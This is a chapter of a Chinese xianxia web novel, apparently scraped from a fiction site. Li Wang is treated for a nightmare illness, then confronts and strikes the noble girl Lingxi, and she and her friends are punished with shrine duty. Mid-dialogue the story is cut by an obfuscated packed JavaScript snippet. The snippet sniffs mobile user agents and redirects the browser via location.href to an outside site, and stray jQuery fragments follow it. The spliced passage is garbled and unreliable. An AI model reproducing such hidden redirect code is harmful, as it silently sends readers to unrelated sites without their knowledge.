离妄再次睁开眼,人已经被搬动到医家设立的医馆。白花花的灯幕在她睁眼片刻一下涌入眼眶,她再次被刺痛地用手臂挡住半边光芒,如此同时,两个人影出现在下方未遮挡的视野中。
她喉咙想要出声,却觉干渴难耐,不由喃喃道:“水......”
姝奴见她醒来欣喜若狂,同时松来口气,转个身大跑到一楼为她取水。而另一个人按这离妄身旁的床位,安静地坐下来端详她,似乎正在等她意识再清醒一些。见她身姿瘦佻,堆叠的长袖缓慢从脸上挪开,露出一双清明的杏眼打量自己,她才温和问:“你的梦魇之症发病有多久了?若是旁人不在,自己要多久醒来?醒来时是否伴有惊恐,无力,干渴等症状......”
“什么?”
离妄想起来,却觉有根刺深深扎入她额头,上鸣月迅速按下她,加大语气止住:“别动。”
她双指捻这银针上端,左右旋移后果断抽出,侧头归置到医箱中,此时,她诧异道:“你不知道你身患梦魇症?”
离妄眨巴眼睛,摇头道:“我的确不知。就这回来两日头脑昏昏沉沉的,第一次发生在今日清晨,这次是第二次。每次醒来的时间不由我做主,但确实,有你说的那些后遗症状。”
上明月扶助她的胳膊,将她提起来,后背用柔软的靠枕抵在她腰后,心里惊讶她身体尽比她想的还要瘦弱,她不由记起姝奴急慌将她抬入这里,她为她用灵力把脉就诊时发现这一副死气环绕的破碎之躯。
所以认真瞧着她,对她说:“这次是我刺你穴位助你苏醒。你既身在医家,我还是有必要告诉你,梦魇症非我所长,我只能先帮你用药缓住。况且我为你诊脉时,你的身体有先天缺陷,不如常人康健,这种症状一旦发作过一次,便会一直伴着你,时不时发作,随你发作次数增加,沉睡时间将会需要更久,到最后,再难醒来。所以当务之急,我还是劝你辞呈,去找心医试试看。若你不知如何去找,我倒有认识的人可举荐予你。”
上明月说得极为严重,离妄反应却很平淡,只掀开一尾眼帘,问:“目前还能撑多久?”
她得到的回答是:三次。
就三次......
见离妄得知答案后并没有如一般得知自己病入膏肓的寻常人一般面色惊恐,甚至不是第一时间问“她要去何处就医?”、“若得到救治,痊愈可能占几成?”,上明月发觉她问的实属偏僻,像是尝试过身处绝境,药石无医后习惯性才能问出的问题。
她只用手捏了捏离妄的脸颊,一捏还挺有肉的,离妄不满地“啊”了声,厉声警告道:“上一个捏我脸的坟头草都长三尺高了,你想吗?”
这事离妄绝对没撒谎故意吓唬她。
“谁啊?”上明月双手搭起一个支撑,将下巴放在手背上,好奇道。
离妄别过头去,“故人,有机会再告诉你。”
“所以,什么事能让你大梦不醒?”上明月敏锐抓住她的一番别扭,接着问:“跟你那个故人有关吗?”
询问间,蜡烛被烧断一小截,火势突然迅猛变得瘦长,明黄的火光照耀离妄略有些被人猜中的神情,她侧过头,跟她一般模样撑住自己,一双黑瞳打转望向上明月一脸温和的样子。
半响,一个“是”字脱口而出,一个眨眼间,熟悉又好听的声音在她耳廓环绕,她会记得温栖徵朝她抬起手臂,向她小心翼翼抱来时,发现她只是镜花水月,然后用多么绝望多么无助的声音伏在她耳侧,对她说:“可是妄妄,改阵的人不是我。”
如他坠入鬼蜮,如他在梦境携流血的双腿一步一步登上流苏栈道,即便无人倾听,仍一味只想告诉她的一样,从未变过。
“我曾经最......恨你。我最恨你!”继而他矛盾说:“三千天机咒术放旁人身上尚且都面目全非,要用此杀你,我怎忍心?”
宁愿一字一字撕开一道口子,让自己两败俱伤,要她脱梦时也清晰记得他每一刻的神情,每一句话的声线起伏。
离妄还真是想把人从梦里赶出去,让他滚。
上明月仔细观察她的神情,一只手的拳头握紧,拧住细眉,脸色极差,俨然是生气了,不然她怎么对这她说“我说了后你能治么”。
天地良心,上明月也只是医者本能,想多多了解病患的症状,对症用药,哪知,踩到雷区了。
离妄立即察觉把气撒到别人身上,颇为不好意思对人的眼睛真挚地吐了一句歉意。上明月同她表示理解。
姝奴在这时端着一碗水瞬息上来,她盯着离妄大口大口喝完说:“慢点,最近九遥殿一直在调人出去,伤员也颇多,这家医馆的水源颇有些供不应求了,上医师,这事你可知晓?”
“知道。”上明月不瞒她们讲:“殿主如今越发意气用事,薛宿声哪是那么好制服的?”
一声轻响,离妄放下水碗抬眸看她,并不意外道:“看来医馆的水都用来清洗伤口处的烟术残留。”
上明月颔首,“他们去了,你们活不就来了嘛。过几天,鲸骨钟下发任务,你也别乱看,挑挑螺岛那边任务,那里有我的师弟,他负责钻研心症,如今用手指细数下来,也有五六十年的阅历。他姓周名琴,与他的妻子开了家小有名气的医馆,你到了随便问问就能知道。找到他后就记得报上我名字,上明月,他肯定会毫不犹豫救你。如果可以,随便带我一句问好给他,其余不用多说。”
离妄听了点了点头,和姝奴随她下去到药柜取药。上明月尽职尽责把需要熬多久、每日几次、吃几天来找她反馈,按病情重新理新药方继续吃等全嘱咐给离妄,让她一定记得,不得马虎。
离妄走之前还问她,她的先天缺陷是否可以用其他方法弥补,她想冲破归元阶,入道不死。
她回:“堪比圣者化神。”
离妄立即懂了这法子的难度,简单说,不可能。
她又补道:“若不惜寿命,仍有一法。”
离妄笑了笑,朝她挥手走了,她知道有办法就行,至于治不治只是用来应付他人的怀疑,她本不用治。
上明月望着两个声影揽手臂靠在一起,嘻嘻笑笑融于月色中,她深深望了一眼,朝着医馆哀怨的哭喊声与其他师兄师姐的呼喊声跑去。
今夜离妄服用药物后果然没有奇奇怪怪的梦境再来找她,她得以安眠一晚,翌日鲸骨钟钟鸣如天雷响彻云霄,离妄接水抹了一把脸,一身清爽去挑挑任务,不过不合人意,全被抢完了。
九遥殿悬浮在茫茫深海上,随海域环绕青州。海上天气变幻莫测,时艳阳高照,时雷霆大雨,今日下了石子大的冰雹,九遥殿伞阵一开,姝奴拉离妄去藏书阁的路程又是风雨无阻。
再看流苏栈道的黑血,离妄蹙了蹙眉,饶是上明月给她开的药物管用,她已经没那么在乎了。
薛家有人在查,还查得很猛,直接逮圣者。离妄暂且放下这边,朝着另一个猜想查下去。她仍是走到写着“观命”书牌的一栏下取书开读,姝奴则是问她哪个练起来厉害不受人欺负就看哪个,有种要把藏书阁的秘籍、功法、天下异事等全化成腹中笔墨的意思。
临走时,离妄注意到在她上一层有道阴恻恻的目光一直在打量她,从天明到黑夜,不嫌累得慌。
她不着急,等着人先发动。徐徐几日,那人见她又要离开就坐不住,安静地,借放书慢吞吞挤下来。
其实离妄很想说,他手上书放错牌名了,一本关于含冤昭雪的狱讼放在观命书列真的十分显眼。
他果然注意到这一点,急速将书挤入一个缝隙,偏头道:“你永远不可能取代我师父,你死心吧。”
他抬头,离妄看清了他的面容,正是圆楼里对她与江期止归来唯一缄默的九遥殿弟子。她与他对望间,他也对上她清澈的目光。顷刻间他似乎被离妄吓到,身子往后撤,片刻,如老鼠见猫灰溜溜跑了。
诸如此类令人奇怪的事情还有很多,比如迎面走来的同门会小声议论她的脸,被骄横蛮惯的小姐一声令下拦她与姝奴的道,与她一流的同门会认为这是向世家展现的好机会,纷纷亮出真本事狐假虎威。
离妄将姝奴保护在身后,只是姝奴似乎与她关系匪浅,叉腰大喊她的名字对峙道:“灵熙,我与望望平日与你尚无交际,倒是你三番两次围堵我们,你到底想做什么?”
那位被称为灵熙的小姐将垂在身前的头发从颈的绿璎珞抽出,珠玉发出脆响,她扬起白颈不缓不慢走出来,倒是没叫人立即下手。
她的声音在人群中拔高,眉眼闪过几乎不遮掩的讥讽,还有离妄看不懂的情绪。
她仰着鼻子看人,“禾望,你取心弓的事我都听说了。但你且记好,你根本不能突破归元阶,少做这些无能为力的反抗。”
姝奴本在她第一句就要气得发作,离妄温和地对姝奴一笑,拦了下来,转头瞧灵熙,一副我心知肚明何须你来说的样子示意她继续。
灵熙见她性情沉稳,对她自己预料的多有偏差,她被面前的人用寒冷的眼光如虎狼一般凝视着,心中升起一番怯意。可事到这个地步,哪还能退让。不仔细敲打她一番,她决不罢休。
耳边还有跟班的附和声,现在走,传回家里多丢父母亲脸面,她不能退。
灵熙闭目,她给自己打气站定,继续道:“别以为顶着师姐的脸就可以一飞冲天,也别得意满满认为能拉几箭木羽就可以洗去一身草芥的身份!你的曾经我记得清清楚楚,你就是寄人篱下,再怎么努力你就是先天有缺,你就该承受旁人异样的眼光,一直到死,就像你父母离你而去,救你的恩人离你而去,你的师长,你的师兄,还有姝奴,你本来就是无人可依,现在也应当如此!”
离妄见她半天不出声,抬眉眼神发冷,沉声道:“说完了吗?”
灵熙腿脚发怵,她对面前曾经让她了如指掌的禾望生出古怪的想法,她不如以前一样性情宛如刺猬,她竟接着她每一句话,自以能破人心防的话在禾望身上仿佛以卵击石,倒是她,宛如被那道直视的目光看透一般,身体阴凉无比。
不行,她必须地把场子找回来。
“我没说完哪又如何!你且继续听着,若你投靠我灵家,我保你……”
顿时,离妄掀起眼皮,以不可察的速度抬掌正对灵熙腹部,归元阶的灵力宛如被另一层深厚的灵力压制,被挤压舒展的灵力宛如如鱼得水瞬间将周围围堵的同门压低一个头颅。
灵熙被她一掌掀到地面上,不仅金钗坠落,璎珞碎裂成渣,她抬起顶着散乱发丝的头颅,一双瞳目瞪圆在四散的颈环上,立即发声喊道:“你敢毁我祖母送我的生辰礼,禾望就这事我跟你没完!”
说完这句话,腹中绞痛似后知后觉攀附上来,冷汗开始沾染她全身,她喉咙一阵血腥味,转而咳出一推污血。
她仍是忍痛以居高临下的姿态看着离妄自若走来,伞阵遮蔽天日,离妄一身深暗的青裙似隐入黑暗中,唯独能听到有力,步伐稳定的脚步声。
直到离妄单膝蹲在她跟前,她才惊恐到她为何用别人的面皮用得如此惟妙惟肖,神情仿佛一场浩浩荡荡的审讯,一个高位者对低位者的垂怜。
“这种成色极杂的璎珞在云匣花市如泥车瓦狗,若正如你接下来想说,灵家待你金枝玉叶,待旁人敬如上宾恨不得保我容身之所,你们灵家还有你,还挺真大方。但是你身为世家小姐,你应当认出祖母送你这窜璎珞是何用意。是真的器重你,爱护你,就不会将你送来九遥殿以眼线的身份远离本家。”离妄低眸看她瑟瑟发抖的样子,揭示道:“到了这,你即是棋,若几年无用,便是弃子。你为家族做个什么丰功伟绩,打听到什么机密情报?”
灵熙一阵摇头,眼泪溢满眼眶,下一刻就要哭出来。
离妄轻笑一声,“什么都没有还如此狂妄?你当你背后有人护着你,替你出头?”
一句下,灵熙大喊道:“做了弃子也不用你来教训我!我们曾经才是同穴之兽,凭什么你和姝奴说放下就放下,转头和那什么贱民
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029791|178424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李为安,和你一样不中用的师兄季泊简聊得有说有笑!凭什么你们能忘记一切,像是什么都没发生过一样继续用力活下去!禾望,你别忘了,扶木之林,是谁把你带出来的!”
她无力笑了,转头将矛盾对准不远处安静远视她的姝奴,眼型如蝎既静得魅毒,一闪间又动如害人之虫,让人不能容忍姑息。
她尖锐地笑道:“还有你,姝奴。你怎么想的,怎么就那么大的心和替换你归来的禾望还能一言一笑,你不会贵人多忘事,你忘了你独留一人在扶木之林有多苦,有多难熬。呵,也不知道你心中所盼的那人之后去救你没有啊!你说是吧,禾望?”
离妄淡淡看着她发狂,她沉默肯定,她们之前说不清的渊源是非是超出自己的预想,比她想的还有深,还要执着。
灵熙见离妄仍平静看她,一双黑瞳无法涌出一丝波澜,突然苦笑道:“看来你没去,咦!姝奴她没去!哈哈哈哈,她没去,你真是把良心喂狗,苦了自己!”
姝奴立即走来,反手给她一巴掌,灵熙哑声,显然被扇懵了。
她听到姝奴坚定地说:“我告诉你,那是我的选择,即使再来一遍,我也会选择望望,不是你,灵熙。”
离妄淡漠看她一眼,便移开视线,起身将她的璎珞用术一颗颗捡回修复,放在她颈上,道:“即使我先天有缺,即使我不如师姐,但我归元阶的修为也足够将你这张破嘴巴撕碎。另,你若真心想待人好,托举她,你不该先个数不清的巴掌再给一个不起眼的甜枣,奢舍畜生也不是像你这样。今天,只是个教训,再有下次,我绝不留情。”
她说到这里本来话已尽,不知怎么想的,直接补上:“灵熙,没有人生来就该乐意承受痛苦,沉浸在痛苦中只会带给你无穷无尽的苦痛,最后被逼疯的也只有你自己。”
“还有,如果可能,别当弃子。”
姝奴扶灵熙起身,在她耳边言语:“我从未忘记过,在那件事情上,你是先推开我们。”
灵熙恍然回神,泪珠如雨打下,她却毫无感知,只有歇息底里地疯狂盘踞在小小的身躯里,感性压到理智要将她撕碎。
她仍发出离妄和姝奴无法理解的笑与哭,“禾望啊禾望,你个薄情人有什么资格拥有挚友!姝奴你个笨货,迟早你的好心会令你万劫不复!啊哈哈哈哈哈!”
离妄和姝奴对视一眼,决定不管她先行一步,毕竟打架斗殴放在师门若是被抓到是要分程度惩治的。
但不巧,季泊简和李为安给她们带饭回来,好巧不巧看到最后一幕,一堆男男女女围困两个女子,是人干事?
不巧,欺负的还是他们的朋友,真是胆大包天欺负到头上来了!
季泊简喊道:“谁敢欺负师妹!”
说完就和李为安抄真家伙一窝蜂与灵熙带来的人打成一团,姝奴拦也拦不住,从人群里扯也没把两人扯不出来,自己还出一身汗,红了脸蛋。
远看教规堂的老师兵临城下,威压压下逃也逃不开,事到如今,那不打才亏呢。姝奴一不留神离妄竟搭了进去,一起扯起“棉花”,挦毛捣鬓。
反正,等老师赶到,场面一阵混乱。
最终季泊简以三寸不烂之舌与老师唇枪舌剑,结果是双方一个不落都领了罚。离妄这边因不敬师长罪加一等为由罚得更重。祠堂的仆役被赏赐近日可回家探亲,也有月俸发放,既如此,离妄他们就顶了职,接替乐呵呵下山的仆役。
祠堂戒律威严,每时每刻不容半分灰尘沾染,活儿就更重更累。他们还禁止用灵力,因为用了灵力在这里会被视为惊扰先灵牌位,处罚不是洒扫那么简单,这是想去领教姜承羡的戒尺鞭神刑!
季泊简蒙头蒙脑给她们道歉,骂自己话多,不该顶嘴。可离妄不觉得,纵我有错,但错不由我。我保护自己和同门,不愿临阵脱逃放朋友为我义愤填膺,纵再来一次,她和姝奴也是一样的选择。
若非如此,他们不害怕苦累,只是会在以后的日夜感到内疚,那样珍贵的好意,他们不当轻如鸿毛。
且珍惜,再珍惜,这是人人避让的小离妄在九遥殿学会的。
没人如兄长像现在这般,亲近唤着她的小名,即使告诉了也会对她避之,唯恐不及。没人同她在风雨折返藏书阁,与她同读完一盏灯油。那样顶着五长老伪善和蔼的压力下,她每日晨睡,夜间苦读,还要扮傻应付心智长她的长老。
教规堂的同龄弟子因为戒尺声,惧她,避她,她曾听话过,认真过,可是始终不明白为什么戒尺声还是每天响彻教规堂,推着她走到风口浪尖,却只用一句“忍让,再忍让”吊着她去接近那个所有人视为眼中钉、肉中刺的地位。
可是,禾望却与她大不相同。讲真,她对她有些生羡。
李为安一次入境观心掏不起几个子入场,那次才会这么在乎过门玉给的每次机会,但终选择陪着他们一起摔碎过门玉再来一次。她还知道禾望曾有在灰暗之际有助过李为安,并不嫌弃拉他混入姝奴与她的队伍,以后多番秘境,多次任务,都是禾望在挺。
只是现在,禾望已做不了一马当先的巾帼枭雄,不过,李为安和姝奴再越来越好,把禾望保护得不用动手指头。最后有了季泊简,每逢斋时,必然给藏书阁的离妄和姝奴带饭,送饭之恩,如姝奴所说,是如同再造之恩,没齿难忘。
离妄提着笤帚来到先灵牌下,日月河的流光尽染每一个牌名,一轮一轮翻转,明亮至长夜将明。
她融在初升的日华中,兀自被灵牌吸引看了许久。半响,身子骨被日光滋润近暖和,止不住的念意涌入心窍,从唇齿间温柔留下:“禾望,我忽然懂你在乎的人了。”
离妄弃下笤帚,双手合十。
禾望,若你准允,我会替你而活,守护你在乎的一切。我并非是有意要取而代之,只是,若能给你与姝奴,李伟安和季泊简一个善终,会不会比让他们知晓你忽然离去的结局会好上那么一点?
若结恶果,非我所念。若得善终,实是我愿。